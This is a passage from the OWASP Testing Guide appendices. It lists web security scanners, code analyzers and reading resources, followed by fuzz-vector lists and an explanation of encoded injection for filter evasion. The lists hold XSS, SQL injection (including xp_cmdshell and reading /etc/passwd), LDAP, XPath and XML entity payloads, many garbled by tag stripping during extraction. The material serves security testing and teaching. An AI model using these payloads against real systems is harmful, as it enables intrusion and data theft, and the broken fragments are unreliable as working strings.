• Acunetix Web Vulnerability Scanner - http://www.acunetix.com
• Sleuth - http://www.sandsprite.com
• NT Objectives NTOSpider - http://www.ntobjectives.com/products/
ntospider.php
• MaxPatrol Security Scanner - http://www.maxpatrol.com
• Ecyware GreenBlue Inspector - http://www.ecyware.com
• Parasoft SOAtest (more QA-type tool) - http://www.parasoft.com/

216

Appendix

jsp/products/soatest.jsp?itemId=101
• MatriXay - http://www.dbappsecurity.com/webscan.html
• N-Stalker Web Application Security Scanner - http://www.nstalker.
com
• HP WebInspect - http://www.hpenterprisesecurity.com/products/
hp-fortify-software-security-center/hp-webinspect
• SoapUI (Web Service security testing) - http://www.soapui.org/
Security/getting-started.html
• Netsparker - http://www.mavitunasecurity.com/netsparker/
• SAINT - http://www.saintcorporation.com/
• QualysGuard WAS - http://www.qualys.com/enterprises/
qualysguard/web-application-scanning/
• Retina Web - http://www.eeye.com/Products/Retina/WebSecurity-Scanner.aspx
Cenzic-datasheet-Hailstorm-Technology.pdf
Source Code Analyzers
Open Source / Freeware
• Owasp Orizon
• OWASP LAPSE
• OWASP O2 Platform
• PMD - http://pmd.sourceforge.net/
• FlawFinder - http://www.dwheeler.com/flawfinder
• Microsoft’s FxCop
• Splint - http://splint.org
• Boon - http://www.cs.berkeley.edu/~daw/boon
• FindBugs - http://findbugs.sourceforge.net
• Find Security Bugs - http://h3xstream.github.io/find-sec-bugs/
• Oedipus - http://www.darknet.org.uk/2006/06/oedipus-opensource-web-application-security-analysis/
• W3af - http://w3af.sourceforge.net/
• phpcs-security-audit - https://github.com/Pheromone/phpcssecurity-audit
Commercial
id=codesecure
• Parasoft C/C++ test - http://www.parasoft.com/jsp/products/
cpptest.jsp/index.htm
• Checkmarx CxSuite - http://www.checkmarx.com
• HP Fortify - http://www.hpenterprisesecurity.com/products/hpfortify-software-security-center/hp-fortify-static-code-analyzer
• GrammaTech - http://www.grammatech.com
• ITS4 - http://seclab.cs.ucdavis.edu/projects/testing/tools/its4.html
• Appscan - http://www-01.ibm.com/software/rational/products/
appscan/source/
• ParaSoft - http://www.parasoft.com
• Virtual Forge CodeProfiler for ABAP - http://www.virtualforge.de
• Veracode - http://www.veracode.com
• Armorize CodeSecure - http://www.armorize.com/codesecure/
Acceptance Testing Tools
Acceptance testing tools are used to validate the functionality of web
applications. Some follow a scripted approach and typically make use
of a Unit Testing framework to construct test suites and test cases.
Most, if not all, can be adapted to perform security specific tests in

Open Source Tools
• WATIR - http://wtr.rubyforge.org
• A Ruby based web testing framework that provides an interface into
Internet Explorer.
• Windows only.
• HtmlUnit - http://htmlunit.sourceforge.net
• A Java and JUnit based framework that uses the Apache HttpClient
as the transport.
• Very robust and configurable and is used as the engine for a number
of other testing tools.
• jWebUnit - http://jwebunit.sourceforge.net
• A Java based meta-framework that uses htmlunit or selenium as the
testing engine.
• Canoo Webtest - http://webtest.canoo.com
• An XML based testing tool that provides a facade on top of htmlunit.
• No coding is necessary as the tests are completely specified in XML.
• There is the option of scripting some elements in Groovy if XML does
not suffice.
• Very actively maintained.
• HttpUnit - http://httpunit.sourceforge.net
• One of the first web testing frameworks, suffers from using the
native JDK provided HTTP transport, which can be a bit limiting for
security testing.
• Watij - http://watij.com
• A Java implementation of WATIR.
• Windows only because it uses IE for its tests (Mozilla integration is
in the works).
• Solex - http://solex.sourceforge.net
• An Eclipse plugin that provides a graphical tool to record HTTP
sessions and make assertions based on the results.
• Selenium - http://seleniumhq.org/
• JavaScript based testing framework, cross-platform and provides a
GUI for creating tests.
• Mature and popular tool, but the use of JavaScript could hamper
certain security tests.
Other Tools
Runtime Analysis
• Rational PurifyPlus - http://www-01.ibm.com/software/awdtools/
purify/
• Seeker by Quotium - http://www.quotium.com/prod/security.php
Binary Analysis
• BugScam IDC Package - http://sourceforge.net/projects/bugscam
• Veracode - http://www.veracode.com
Requirements Management
• Rational Requisite Pro - http://www-306.ibm.com/software/
awdtools/reqpro
Site Mirroring
• wget - http://www.gnu.org/software/wget, http://www.interlog.
com/~tcharron/wgetwin.html
• curl - http://curl.haxx.se

OWASP Testing Guide Appendix B:

Whitepapers
• The Economic Impacts of Inadequate Infrastructure for Software

217

Appendix

pdf
• Improving Web Application Security: Threats and Countermeasures- http://msdn.microsoft.com/en-us/library/ff649874.aspx
• NIST Publications - http://csrc.nist.gov/publications/PubsSPs.html
• The Open Web Application Security Project (OWASP) Guide Project https://www.owasp.org/index.php/Category:OWASP_Guide_Project
• Security Considerations in the System Development Life Cycle
(NIST) - http://www.nist.gov/customcf/get_pdf.cfm?pub_id=890097
• The Security of Applications: Not All Are Created Equal - http://www.
securitymanagement.com/archive/library/atstake_tech0502.pdf
• Software Assurance: An Overview of Current Practices - http://
www.safecode.org/publications/SAFECode_BestPractices0208.pdf
• Software Security Testing: Software Assurance Pocket guide
Series: Development, Volume III - https://buildsecurityin.us-cert.
0_05182012_PostOnline.pdf
• Use Cases: Just the FAQs and Answers – http://www.ibm.com/
developerworks/rational/library/content/RationalEdge/jan03/UseCaseFAQS_TheRationalEdge_Jan2003.pdf
Books
• The Art of Software Security Testing: Identifying Software Security
Flaws, by Chris Wysopal, Lucas Nelson, Dino Dai Zovi, Elfriede Dustin,
• Building Secure Software: How to Avoid Security Problems the
Right Way, by Gary McGraw and John Viega, published by Addison-Wesley Pub Co, ISBN 020172152X (2002) - http://www.buildingsecuresoftware.com
• The Ethical Hack: A Framework for Business Value Penetration
Testing, By James S. Tiller, Auerbach Publications, ISBN 084931609X
(2005)
• Exploiting Software: How to Break Code, by Gary McGraw and Greg
(2004) -http://www.exploitingsoftware.com
• The Hacker’s Handbook: The Strategy behind Breaking into and
Defending Networks, By Susan Young, Dave Aitel, Auerbach Publications, ISBN: 0849308887 (2005)
• + Online version available at: http://books.google.com/
books?id=AO2fsAPVC34C&printsec=frontcover&source=gbs_ge_
• Hacking Exposed: Web Applications 3, by Joel Scambray, Vinvent
007222438X (2010) - http://www.webhackingexposed.com/
• The Web Application Hacker’s Handbook: Finding and Exploiting
Pinto, ISBN 9781118026472 (2011)
• How to Break Software Security, by James Whittaker, Herbert H.
• How to Break Software: Functional and Security Testing of Web
Applications and Web Services, by Make Andrews, James A. Whittaker, published by Pearson Education Inc., ISBN 0321369440 (2006)
• Innocent Code: A Security Wake-Up Call for Web Programmers, by Sverre Huseby, published by John Wiley & Sons, ISBN
0470857447(2004) - http://innocentcode.thathost.com
• + Online version available at: http://books.google.com/books?id=RjVjgPQsKogC&printsec=frontcover&source=gbs_ge_summary_r&-

• Mastering the Requirements Process, by Suzanne Robertson and
0201360462
• + Online version available at: http://books.google.com/
books?id=SN4WegDHVCcC&printsec=frontcover&source=gbs_ge_
• Secure Coding: Principles and Practices, by Mark Graff and Kenneth
www.securecoding.org
• Secure Programming for Linux and Unix HOWTO, David Wheeler
(2004) http://www.dwheeler.com/secure-programs
• + Online version: http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/index.html
Wiley, ISBN 047131952X (1999) - http://www.securingjava.com
• Software Security: Building Security In, by Gary McGraw, published
by Addison-Wesley Professional, ISBN 0321356705 (2006)
• Software Testing In The Real World (Acm Press Books) by Edward
(1995)
• Software Testing Techniques, 2nd Edition, By Boris Beizer, International Thomson Computer Press, ISBN 0442206720 (1990)
The Tangled Web: A Guide to Securing Modern Web Applications,
047131952X (2011)
The Unified Modeling Language – A User Guide – by Grady Booch,
• The Unified Modeling Language User Guide, by Grady Booch, James
Web Security Testing Cookbook: Systematic Techniques to Find Problems Fast, by Paco Hope, Ben Walther, published by O’Reilly, ISBN
0596514832 (2008)
• Writing Secure Code, by Mike Howard and David LeBlanc, published
by Microsoft Press, ISBN 0735617228 (2004) http://www.microsoft.
com/learning/en/us/book.aspx?ID=5957&locale=en-us
Useful Websites
• Build Security In - https://buildsecurityin.us-cert.gov/bsi/home.html
• Build Security In – Security-Specific Bibliography - https://
buildsecurityin.us-cert.gov/bsi/articles/best-practices/measurement/1070-BSI.html
• CERT Secure Coding - http://www.cert.org/secure-coding/
• CERT Secure Coding Standards- https://www.securecoding.cert.
org/confluence/display/seccode/CERT+Secure+Coding+Standards
• Exploit and Vulnerability Databases - https://buildsecurityin.us-cert.
gov/swa/database.html
edu/security/index.html
• McAfee Foundstone Publications - http://www.mcafee.com/apps/
view-all/publications.aspx?tf=foundstone&sz=10
• McAfee – Resources Library - http://www.mcafee.com/apps/resource-library-search.aspx?region=us
• OASIS Web Application Security (WAS) TC - http://www.oasis-open.org/committees/tc_home.php?wg_abbrev=was
• Open Source Software Testing Tools - http://www.opensourcetesting.org/security.php

218

Appendix

• OWASP Security Blitz - https://www.owasp.org/index.php/
OWASP_Security_Blitz
• OWASP Phoenix/Tool - https://www.owasp.org/index.php/Phoenix/Tools
• SANS Internet Storm Center (ISC) - https://www.isc.sans.edu
• The Open Web Application Application Security Project (OWASP)
- http://www.owasp.org
• Pentestmonkey - Pen Testing Cheat Sheets - http://pentestmonkey.
net/cheat-sheet
• Secure Coding Guidelines for the .NET Framework 4.5 - http://msdn.
microsoft.com/en-us/library/8a3x2b7f.aspx
• Security in the Java platform - http://docs.oracle.com/javase/6/
docs/technotes/guides/security/overview/jsoverview.html
• System Administration, Networking, and Security Institute (SANS) http://www.sans.org
• Technical INFO – Making Sense of Security - http://www.
technicalinfo.net/index.html
• Web Application Security Consortium - http://www.webappsec.org/
projects/
• Web Application Security Scanner List - http://projects.webappsec.
org/w/page/13246988/Web%20Application%20Security%20
Scanner%20List
• Web Security – Articles - http://www.acunetix.com/
websitesecurity/articles/
Videos
• OWASP Appsec Tutorial Series - https://www.owasp.org/index.php/
OWASP_Appsec_Tutorial_Series
• SecurityTube - http://www.securitytube.net/
• Videos by Imperva - http://www.imperva.com/resources/videos.
asp
Deliberately Insecure Web Applications
• OWASP Vulnerable Web Applications Directory Project - https://
www.owasp.org/index.php/OWASP_Vulnerable_Web_
Applications_Directory_Project#tab=Main
• Damn Vulnerable Web App - http://www.ethicalhack3r.co.uk/damnvulnerable-web-app/
• Hacme Series from McAfee:
• Moth - http://www.bonsai-sec.com/en/research/moth.php
• Mutillidae - http://www.irongeek.com/i.php?page=mutillidae/
mutillidae-deliberately-vulnerable-php-owasp-top-10
• Stanford SecuriBench - http://suif.stanford.edu/~livshits/
securibench/
• Vicnum - http://vicnum.sourceforge.net/ and http://www.owasp.
org/index.php/Category:OWASP_Vicnum_Project
• WebGoat - http://www.owasp.org/index.php/Category:OWASP_
WebGoat_Project
• WebMaven (better known as Buggy Bank) - http://www.
mavensecurity.com/WebMaven.php

OWASP Testing Guide Appendix C: Fuzz Vectors

The following are fuzzing vectors which can be used with WebScarab,
JBroFuzz, WSFuzzer, ZAP or another fuzzer. Fuzzing is the “kitchen
sink” approach to testing the response of an application to parameter
manipulation. Generally one looks for error conditions that are generated in an application as a result of fuzzing. This is the simple part
of the discovery phase. Once an error has been discovered identifying
and exploiting a potential vulnerability is where skill is required.
Fuzz Categories
In the case of stateless network protocol fuzzing (like HTTP(S)) two
• Recursive fuzzing
• Replacive fuzzing
We examine and define each category in the sub-sections that follow.
Recursive fuzzing
Recursive fuzzing can be defined as the process of fuzzing a part of
a request by iterating through all the possible combinations of a set
alphabet. Consider the case of:
http://www.example.com/8302fa3b
Selecting “8302fa3b” as a part of the request to be fuzzed against
the set hexadecimal alphabet (i.e. {0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f}) falls
under the category of recursive fuzzing. This would generate a total
of 16^8 requests of the form:
http://www.example.com/00000000
...
http://www.example.com/11000fff
...
http://www.example.com/ffffffff

Replacive fuzzing
Replacive fuzzing can be defined as the process of fuzzing part of a
request by means of replacing it with a set value. This value is known
as a fuzz vector. In the case of:
http://www.example.com/8302fa3b
Testing against Cross Site Scripting (XSS) by sending the following
fuzz vectors:

http://www.example.com/’’;!--”=&{()}
This is a form of replacive fuzzing. In this category, the total number
of requests is dependent on the number of fuzz vectors specified.
The remainder of this appendix presents a number of fuzz vector categories.

219

Cross Site Scripting (XSS)
For details on XSS: Cross-site Scripting (XSS)

>”’>
>%22%27>
“>
>”
‘’;!--”=&{()}

")>
#115;crip&#116;:a
le&#114;t('XS;S')>
#0000118as&#0000099ri&#0000112t:
&#0000097le&#0000114t(&#0000039XS&#0000083')>
#x63ript:&#x61lert(
&#x27XSS')>
’XSS’);”>
’XSS’);”>
’XSS’);”>

Buffer Overflows and Format String Errors
Buffer Overflows (BFO)
A buffer overflow or memory corruption attack is a programming
condition which allows overflowing of valid data beyond its prelocated storage limit in memory.
For details on Buffer Overflows: Testing for Buffer Overflow
Note that attempting to load such a definition file within a fuzzer application can potentially cause the application to crash.
Ax5
A x 17
A x 33
A x 65
A x 129
A x 257
A x 513
A x 1024
A x 2049
A x 4097
A x 8193
A x 12288

Format String Errors (FSE)
Format string attacks are a class of vulnerabilities that involve supplying language specific format tokens to execute arbitrary code or

crash a program. Fuzzing for such errors has as an objective to check
for unfiltered user input.
An excellent introduction on FSE can be found in the USENIX paper
entitled: Detecting Format String Vulnerabilities with Type Qualifiers
Note that attempting to load such a definition file within a fuzzer application can potentially cause the application to crash.

%s%p%x%d
.1024d
%.2049d
%p%p%p%p
%x%x%x%x
%d%d%d%d
%s%s%s%s
%99999999999s
%08x
%%20d
%%20n
%%20x
%%20s
%s%s%s%s%s%s%s%s%s%s
%p%p%p%p%p%p%p%p%p%p
%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%
%s x 129

220

Integer Overflows (INT)
Integer overflow errors occur when a program fails to account for the
fact that an arithmetic operation can result in a quantity either greater
than a data type’s maximum value or less than its minimum value. If
a tester can cause the program to perform such a memory allocation,
the program can be potentially vulnerable to a buffer overflow attack.
-1
0
0x100
0x1000
0x3fffffff
0x7ffffffe
0x7fffffff
0x80000000
0xfffffffe
0xffffffff
0x10000
0x100000
SQL Injection
This attack can affect the database layer of an application and is typically present when user input is not filtered for SQL statements.
For details on Testing SQL Injection: Testing for SQL Injection
SQL Injection is classified in the following two categories, depending
on the exposure of database information (passive) or the alteration of
database information (active).
• Passive SQL Injection
• Active SQL Injection
Active SQL Injection statements can have a detrimental effect on the
underlying database if successfully executed.
Passive SQL Injection (SQP)
‘||(elt(-3+5,bin(15),ord(10),hex(char(45))))
||6
‘||’6
(||6)
‘ OR 1=1-OR 1=1
‘ OR ‘1’=’1
; OR ‘1’=’1’
%22+or+isnull%281%2F0%29+%2F*
%27+OR+%277659%27%3D%277659
%22+or+isnull%281%2F0%29+%2F*
%27+--+
‘ or 1=1-“ or 1=1-‘ or 1=1 /*
or 1=1-‘ or ‘a’=’a
“ or “a”=”a
‘) or (‘a’=’a
‘%20SELECT%20*%20FROM%20INFORMATION_SCHEMA.
TABLES-) UNION SELECT%20*%20FROM%20INFORMATION_SCHEMA.
TABLES;

‘ having 1=1-‘ having 1=1-‘ group by userid having 1=1-‘ SELECT name FROM syscolumns WHERE id = (SELECT id
FROM sysobjects WHERE name = tablename’)-‘ or 1 in (select @@version)-‘ union all select @@version-‘ OR ‘unusual’ = ‘unusual’
‘ OR ‘something’ = ‘some’+’thing’
‘ OR ‘text’ = N’text’
‘ OR ‘something’ like ‘some%’
‘ OR 2 > 1
‘ OR ‘text’ > ‘t’
‘ OR ‘whatever’ in (‘whatever’)
‘ OR 2 BETWEEN 1 and 3
‘ union select * from users where login =
char(114,111,111,116);
‘ union select
‘; EXECUTE IMMEDIATE ‘SEL’ || ‘ECT US’ || ‘ER’
‘; EXEC (‘SEL’ + ‘ECT US’ + ‘ER’)
‘/**/OR/**/1/**/=/**/1
‘ or 1/*
+or+isnull%281%2F0%29+%2F*
%27+OR+%277659%27%3D%277659
%22+or+isnull%281%2F0%29+%2F*
‘; begin declare @var varchar(8000) set @var=’:’ select @
@var select @var as var into temp end -‘ and 1 in (select var from temp)-‘ union select 1,load_file(‘/etc/passwd’),1,1,1;
ar(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
ar(39,39)),1,0));

Active SQL Injection (SQI)
‘; exec master..xp_cmdshell ‘ping 10.10.1.2’-CREATE USER name IDENTIFIED BY ‘pass123’
CREATE USER name IDENTIFIED BY pass123 TEMPORARY
TABLESPACE temp DEFAULT TABLESPACE users;
INSERT INTO mysql.user (user, host, password) VALUES
GRANT CONNECT TO name; GRANT RESOURCE TO name;
char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72)
+ char(0x70)
+ char(0x65) + char(0x74) + char(0x65) + char(0x72),char(0x64)

221

LDAP Injection
For details on LDAP Injection: Testing for LDAP Injection
|
!
(
)
%28
%29
&
%26
%21
%7C
*|
%2A%7C
*(|(mail=*))
%2A%28%7C%28mail%3D%2A%29%29
*(|(objectclass=*))
%2A%28%7C%28objectclass%3D%2A%29%29
*()|%26’
*)(uid=*))(|(uid=*

XPATH Injection
For details on XPATH Injection: Testing for XPath Injection
‘+or+’1’=’1
‘+or+’’=’
x’+or+1=1+or+’x’=’y
/
//
//*
*/*
@*
count(/child::node())

OWASP Testing Guide Appendix D:
Encoded Injection

Background
Character encoding is the process of mapping characters, numbers
and other symbols to a standard format. Typically, this is done to create a message ready for transmission between sender and receiver. It is, in simple terms, the conversion of characters (belonging to
different languages like English, Chinese, Greek or any other known
language) into bytes. An example of a widely used character encoding
scheme is the American Standard Code for Information Interchange
(ASCII) that initially used 7-bit codes. More recent examples of encoding schemes would be the Unicode UTF-8 and UTF-16 computing
industry standards.
In the space of application security and due to the plethora of encoding schemes available, character encoding has a popular misuse.
It is being used for encoding malicious injection strings in a way that
obfuscates them. This can lead to the bypass of input validation filters, or take advantage of particular ways in which browsers render
encoded text.
Input Encoding – Filter Evasion
Web applications usually employ different types of input filtering
mechanisms to limit the input that can be submitted by the user. If
these input filters are not implemented sufficiently well, it is possible to slip a character or two through these filters. For instance, a
/ can be represented as 2F (hex) in ASCII, while the same character
(/) is encoded as C0 AF in Unicode (2 byte sequence). Therefore, it is
important for the input filtering control to be aware of the encoding
scheme used. If the filter is found to be detecting only UTF-8 encoded
injections, a different encoding scheme may be employed to bypass
this filter.
Output Encoding – Server & Browser Consensus
Web browsers need to be aware of the encoding scheme used to coherently display a web page. Ideally, this information should be provided to the browser in the HTTP header (“Content-Type”) field, as
Content-Type: text/html; charset=UTF-8

XML Injection
Details on XML Injection here: Testing for XML Injection
var n=0;while(true){n++;}]]>
SCRIPT]]>

]>&xee;
]>&xee;
]>&xee;
]>&xee;

shown below:

or through HTML META tag (“META HTTP-EQUIV”), as shown below:
It is through these character encoding declarations that the browser
understands which set of characters to use when converting bytes to
characters. Note that the content type mentioned in the HTTP header
has precedence over the META tag declaration.
CERT describes it here as follows:
Many web pages leave the character encoding (“charset” parameter
in HTTP) undefined. In earlier versions of HTML and HTTP, the character encoding was supposed to default to ISO-8859-1 if it wasn’t
defined. In fact, many browsers had a different default, so it was not
possible to rely on the default being ISO-8859-1. HTML version 4 legitimizes this - if the character encoding isn’t specified, any character

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encoding can be used.
If the web server doesn’t specify which character encoding is in
use, it can’t tell which characters are special. Web pages with unspecified character encoding work most of the time because most
character sets assign the same characters to byte values below
128. But which of the values above 128 are special? Some 16-bit
character-encoding schemes have additional multi-byte representations for special characters such as “<”. Some browsers recognize
this alternative encoding and act on it. This is “correct” behavior, but
it makes attacks using malicious scripts much harder to prevent.
The server simply doesn’t know which byte sequences represent
the special characters
Therefore in the event of not receiving the character encoding information from the server, the browser either attempts to ‘guess’ the
encoding scheme or reverts to a default scheme. In some cases, the
user explicitly sets the default encoding in the browser to a different scheme. Any such mismatch in the encoding scheme used by
the web page (server) and the browser may cause the browser to
interpret the page in a manner that is unintended or unexpected.
Encoded Injections
All the scenarios given below form only a subset of the various
ways obfuscation can be achieved to bypass input filters. Also, the
success of encoded injections depends on the browser in use. For
example, US-ASCII encoded injections were previously successful
only in IE browser but not in Firefox. Therefore, it may be noted that
encoded injections, to a large extent, are browser dependent.
Basic Encoding
Consider a basic input validation filter that protects against injection
of single quote character. In this case the following injection would
easily bypass this filter:

String.fromCharCode Javascript function takes the given Unicode
values and returns the corresponding string. This is one of the most
basic forms of encoded injections. Another vector that can be used
to bypass this filter is:

(Numeric
reference)
The above uses HTML Entities to construct the injection string.
HTML Entities encoding is used to display characters that have a
special meaning in HTML. For instance, ‘>’ works as a closing bracket for a HTML tag. In order to actually display this character on the
web page HTML character entities should be inserted in the page
source. The injections mentioned above are one way of encoding.
There are numerous other ways in which a string can be encoded
(obfuscated) in order to bypass the above filter.

Hex Encoding
Hex, short for Hexadecimal, is a base 16 numbering system i.e it
has 16 different values from 0 to 9 and A to F to represent various
characters. Hex encoding is another form of obfuscation that is
sometimes used to bypass input validation filters. For instance, hex
encoded version of the string  is

A variation of the above string is given below. Can be used in case
‘%’ is being filtered:

There are other encoding schemes, such as Base64 and Octal,
that may be used for obfuscation.
Although, every encoding scheme may not work every time, a bit
of trial and error coupled with intelligent manipulations would
definitely reveal the loophole in a weakly built input validation filter.
UTF-7 Encoding
UTF-7 encoding of alert(‘XSS’); is as below

For the above script to work, the browser has to interpret the web
page as encoded in UTF-7.
Multi-byte Encoding
Variable-width encoding is another type of character encoding
scheme that uses codes of varying lengths to encode characters.
Multi-Byte Encoding is a type of variable-width encoding that
uses varying number of bytes to represent a character. Multi-byte
encoding is primarily used to encode characters that belong to a
large character set e.g. Chinese, Japanese and Korean.
Multibyte encoding has been used in the past to bypass standard
input validation functions and carry out cross site scripting and
SQL injection attacks.
References
• http://en.wikipedia.org/wiki/Encode_(semiotics)
• http://ha.ckers.org/xss.html
• http://www.cert.org/tech_tips/malicious_code_mitigation.html
• http://www.w3schools.com/HTML/html_entities.asp
• http://www.joelonsoftware.com/articles/Unicode.html



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